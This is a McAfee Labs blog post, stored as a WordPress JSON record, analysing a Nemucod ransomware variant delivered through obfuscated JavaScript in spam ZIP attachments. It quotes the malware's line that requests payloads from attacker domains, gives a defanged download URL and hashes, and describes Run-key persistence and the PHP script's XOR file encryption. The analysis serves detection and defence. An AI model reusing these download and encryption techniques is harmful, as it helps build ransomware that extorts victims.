{"id":50733,"date":"2016-06-20T18:58:39","date_gmt":"2016-06-21T01:58:39","guid":{"rendered":"https:\/\/blogs.mcafee.com\/?p=50733"},"modified":"2025-06-02T03:11:19","modified_gmt":"2025-06-02T10:11:19","slug":"javascript-php-joint-exercise-delivers-nemucod-ransomware","status":"publish","type":"post","link":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/","title":{"rendered":"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware"},"content":{"rendered":"

The ransomware Nemucod has been very prevalent in the last few months. Nemucod’s habit of frequently changing its delivery mechanism and infection vector to evade detection makes this threat very challenging\u00a0to security researchers. Recently, we observed in the wild a new variant of Nemucod that shows another change. This variant downloads a PHP file along with other files. All together these payloads encrypt the victim\u2019s machine. (You can read more about Nemucod in\u00a0this McAfee Labs Threat Advisory.<\/a>)<\/p>\n

The malware’s spreading mechanism is the same as in\u00a0previous versions. It arrives in a spam email with a ZIP attachment. The contents of the spam email are crafted using social engineering techniques to lure victims. The JavaScript inside the ZIP is highly obfuscated and is very tough to understand at first. The last few lines of the script\u00a0(hash: 0316CC3EBA6175E27049EB1C979C2D99)\u00a0look like this:<\/p>\n

\"1\"<\/p>\n

Once we deobfuscated the JavaScript, we found readable strings inside. To help understanding, we have divided the script into separate steps.<\/p>\n

Assigning the variables:<\/strong><\/p>\n

\"2\"<\/p>\n

A unique long string is assigned to a variable used later to construct the URL that downloads the malicious payload. Here we can see five domain names assigned as an array that also will be part of making the\u00a0URL. The\u00a0ExpandEnvironmentStrings method gets the %TEMP% location for storing the downloaded payloads.<\/p>\n

Downloading the malicious payload:<\/strong><\/h2>\n

\"3\"<\/p>\n

The malware checks for a.txt in the %TEMP% folder before proceeding. If the file is present, the malware\u00a0will stop. Otherwise, it uses a “for loop” to construct the URL and download the payloads.<\/p>\n

Let\u2019s look into this process for i=0 (because i=id and id=0) and n=1. The malware\u00a0prepares the HTTP GET request in line 19 (preceding screen) and sends a synchronous HTTP request.<\/p>\n

xo.open(\"GET\", \"http:\/\/\" + ll[i] + \"\/counter\/?ad=\" + ad + \"&id=\" + id + \"&rnd=\" + i + n, false);<\/pre>\n
This line resembles the following address:<\/p>\n
hxxp:\/\/bellefremee.com\/counter\/?ad=1Q3ETyWvDJMRxaLztKLV1zcjzcRrGQvzZE&id= c5Jzzaa6WhF1OaBDyD_7aoT6MtP68oT1N1Gj36WpPLjg0VeFz1fMonKZ6ZeJJpqJJWF y4u5HtbBxToPGGh5vO5vYsHh9fNB&rnd=01<\/u><\/p>\n
From this address the malware\u00a0tries to download three binaries plus one PHP and one DLL files:<\/p>\n
    \n
  • a.exe (hash: 9F13CC0B1B3B03CBEFD8141E5F50B1C1)<\/li>\n
  • a1.exe (hash: 9C24738B403973653B6634C9299284FB)<\/li>\n
  • a2.exe (hash: 149640B09DC390A881EBBAFD54B7853A)<\/li>\n
  • php4ts.dll (hash: 106FFA7E8342890798F1AE110F763471)<\/li>\n
  • a.php (hash: B670BF0C481146C52EBE5FBD87879960).<\/li>\n<\/ul>\n
    In the same fashion the malware\u00a0constructs five URLs and tries to download the five payloads to the\u00a0%TEMP% location.<\/p>\n
    The downloaded payload a.exe is the official\u00a0PHP interpreter.<\/p>\n
    \"4\"<\/p>\n
     <\/p>\n
    Registry key modifications and deleting files:<\/strong><\/h2>\n
    \"5\"<\/p>\n
    We further deobfuscated the script and found more readable strings:<\/p>\n
    \"6\"<\/p>\n
    Now we can see that a.exe accepts the a.php script. This a.exe is solely a PHP\u00a0interpreter. For the execution of a.php, the malware\u00a0uses php4ts.dll and a.exe as the dependencies.<\/p>\n
    The process also adds \u201c.Crypted” registry names under HKEY_CURRENT_USER Run and HKEY_CLASSES_ROOT Run to start the .txt startup. After infecting the system, the malware\u00a0deletes the payloads a.php, a.exe, and php4ts.dll.<\/p>\n
    The ransom note:<\/strong><\/h2>\n
    \"7\"<\/p>\n
    Once the payloads are downloaded, the file a.txt is created on the desktop and is\u00a0later renamed DECRYPT.txt, which\u00a0contains the ransom note. Lines 49 to 87, above, create the ransom note.<\/p>\n
    The PHP script:<\/strong><\/h2>\n
    \"8\"<\/p>\n
    In line 3 the PHP script uses set_time_limit(0) to remove time restrictions and keep the script running as long as it wants. This script uses only one major function, Tree(),\u00a0which makes calls within the loop. The “for loop” checks for the directory chr(67) [C] to chr(90) [Z] with the help of the\u00a0is_dir() function. Inside the Tree() function, the variable $k contains a hardcoded Base64-encoded string that\u00a0encrypts the file. Then the malware\u00a0uses the preg_match() function to\u00a0perform a regular expression match to check if the path passed as an argument to the function contains any terms as shown in line 13 above. The function checks for certain folder names in the root directories.<\/p>\n
    The malware iterates until it finds a match. After a successful match, it checks the hardcoded extensions using the preg_match() function, on line 25, and encrypts them with the extension .crypted. On line 31 we see the encryption process using a single-byte XOR with the variable $k.<\/p>\n
    The ransom note requires the payment of\u00a00.37070 Bitcoins to restore the files. The victim first has to pay and\u00a0then enable the link to the decryption.<\/p>\n
    \"9\"<\/p>\n
    McAfee advises users to keep their antimalware signatures up to date at all times. McAfee products detect this malicious JavaScript and the payload, respectively, as JS\/Nemucod, and PHP\/Ransom.a and Trojan-FIWO! with DAT Versions 8199 and later.<\/p>\n","protected":false},"excerpt":{"rendered":"
    The ransomware Nemucod has been very prevalent in the last few months. Nemucod’s habit of frequently changing its delivery mechanism…<\/p>\n","protected":false},"author":674,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[442],"tags":[1814,76,338,180],"coauthors":[3973],"class_list":["post-50733","post","type-post","status-publish","format-standard","hentry","category-mcafee-labs","tag-computer-security","tag-cybercrime","tag-endpoint-protection","tag-malware"],"acf":[],"yoast_head":"\nJavaScript-PHP Joint Exercise Delivers Nemucod Ransomware | McAfee Blog<\/title>\n<meta name=\"description\" content=\"The ransomware Nemucod has been very prevalent in the last few months. Nemucod's habit of frequently changing its delivery mechanism and infection vector\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware | McAfee Blog\" \/>\n<meta property=\"og:description\" content=\"The ransomware Nemucod has been very prevalent in the last few months. Nemucod's habit of frequently changing its delivery mechanism and infection vector\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/\" \/>\n<meta property=\"og:site_name\" content=\"McAfee Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/McAfee\/\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/McAfee\/\" \/>\n<meta property=\"article:published_time\" content=\"2016-06-21T01:58:39+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-06-02T10:11:19+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/1-3.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"870\" \/>\n\t<meta property=\"og:image:height\" content=\"195\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"McAfee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@McAfee\" \/>\n<meta name=\"twitter:site\" content=\"@McAfee\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"McAfee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/\"},\"author\":{\"name\":\"McAfee\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa\"},\"headline\":\"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware\",\"datePublished\":\"2016-06-21T01:58:39+00:00\",\"dateModified\":\"2025-06-02T10:11:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/\"},\"wordCount\":798,\"publisher\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg\",\"keywords\":[\"computer security\",\"cybercrime\",\"endpoint protection\",\"malware\"],\"articleSection\":[\"McAfee Labs\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/\",\"name\":\"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware | McAfee Blog\",\"isPartOf\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg\",\"datePublished\":\"2016-06-21T01:58:39+00:00\",\"dateModified\":\"2025-06-02T10:11:19+00:00\",\"description\":\"The ransomware Nemucod has been very prevalent in the last few months. Nemucod's habit of frequently changing its delivery mechanism and infection vector\",\"breadcrumb\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage\",\"url\":\"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg\",\"contentUrl\":\"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Other Blogs\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"McAfee Labs\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#website\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/\",\"name\":\"McAfee Blog\",\"description\":\"Internet Security News\",\"publisher\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.mcafee.com\/blogs\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\",\"name\":\"McAfee\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png\",\"width\":1286,\"height\":336,\"caption\":\"McAfee\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/McAfee\/\",\"https:\/\/x.com\/McAfee\",\"https:\/\/www.linkedin.com\/company\/mcafee\/\",\"https:\/\/www.youtube.com\/McAfee\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa\",\"name\":\"McAfee\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/image\/1ffadfeeda1f4f9e7891a81f27a9ecf4\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png\",\"caption\":\"McAfee\"},\"description\":\"We're here to make life online safe and enjoyable for everyone.\",\"sameAs\":[\"https:\/\/www.facebook.com\/McAfee\/\",\"https:\/\/www.linkedin.com\/company\/mcafee\/\",\"https:\/\/x.com\/McAfee\"],\"url\":\"https:\/\/www.mcafee.com\/blogs\/author\/mcafee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware | McAfee Blog","description":"The ransomware Nemucod has been very prevalent in the last few months. Nemucod's habit of frequently changing its delivery mechanism and infection vector","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"en_US","og_type":"article","og_title":"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware | McAfee Blog","og_description":"The ransomware Nemucod has been very prevalent in the last few months. Nemucod's habit of frequently changing its delivery mechanism and infection vector","og_url":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/","og_site_name":"McAfee Blog","article_publisher":"https:\/\/www.facebook.com\/McAfee\/","article_author":"https:\/\/www.facebook.com\/McAfee\/","article_published_time":"2016-06-21T01:58:39+00:00","article_modified_time":"2025-06-02T10:11:19+00:00","og_image":[{"width":870,"height":195,"url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/1-3.jpg","type":"image\/jpeg"}],"author":"McAfee","twitter_card":"summary_large_image","twitter_creator":"@McAfee","twitter_site":"@McAfee","twitter_misc":{"Written by":"McAfee","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#article","isPartOf":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/"},"author":{"name":"McAfee","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa"},"headline":"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware","datePublished":"2016-06-21T01:58:39+00:00","dateModified":"2025-06-02T10:11:19+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/"},"wordCount":798,"publisher":{"@id":"https:\/\/www.mcafee.com\/blogs\/#organization"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage"},"thumbnailUrl":"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg","keywords":["computer security","cybercrime","endpoint protection","malware"],"articleSection":["McAfee Labs"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/","url":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/","name":"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware | McAfee Blog","isPartOf":{"@id":"https:\/\/www.mcafee.com\/blogs\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage"},"thumbnailUrl":"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg","datePublished":"2016-06-21T01:58:39+00:00","dateModified":"2025-06-02T10:11:19+00:00","description":"The ransomware Nemucod has been very prevalent in the last few months. Nemucod's habit of frequently changing its delivery mechanism and infection vector","breadcrumb":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#primaryimage","url":"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg","contentUrl":"https:\/\/securingtomorrow.mcafee.com\/wp-content\/uploads\/1-3.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/javascript-php-joint-exercise-delivers-nemucod-ransomware\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.mcafee.com\/blogs\/"},{"@type":"ListItem","position":2,"name":"Other Blogs","item":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/"},{"@type":"ListItem","position":3,"name":"McAfee Labs","item":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/"},{"@type":"ListItem","position":4,"name":"JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware"}]},{"@type":"WebSite","@id":"https:\/\/www.mcafee.com\/blogs\/#website","url":"https:\/\/www.mcafee.com\/blogs\/","name":"McAfee Blog","description":"Internet Security News","publisher":{"@id":"https:\/\/www.mcafee.com\/blogs\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mcafee.com\/blogs\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.mcafee.com\/blogs\/#organization","name":"McAfee","url":"https:\/\/www.mcafee.com\/blogs\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png","width":1286,"height":336,"caption":"McAfee"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/McAfee\/","https:\/\/x.com\/McAfee","https:\/\/www.linkedin.com\/company\/mcafee\/","https:\/\/www.youtube.com\/McAfee"]},{"@type":"Person","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa","name":"McAfee","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/image\/1ffadfeeda1f4f9e7891a81f27a9ecf4","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png","caption":"McAfee"},"description":"We're here to make life online safe and enjoyable for everyone.","sameAs":["https:\/\/www.facebook.com\/McAfee\/","https:\/\/www.linkedin.com\/company\/mcafee\/","https:\/\/x.com\/McAfee"],"url":"https:\/\/www.mcafee.com\/blogs\/author\/mcafee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/50733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/users\/674"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/comments?post=50733"}],"version-history":[{"count":2,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/50733\/revisions"}],"predecessor-version":[{"id":214837,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/50733\/revisions\/214837"}],"wp:attachment":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/media?parent=50733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/categories?post=50733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/tags?post=50733"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/coauthors?post=50733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}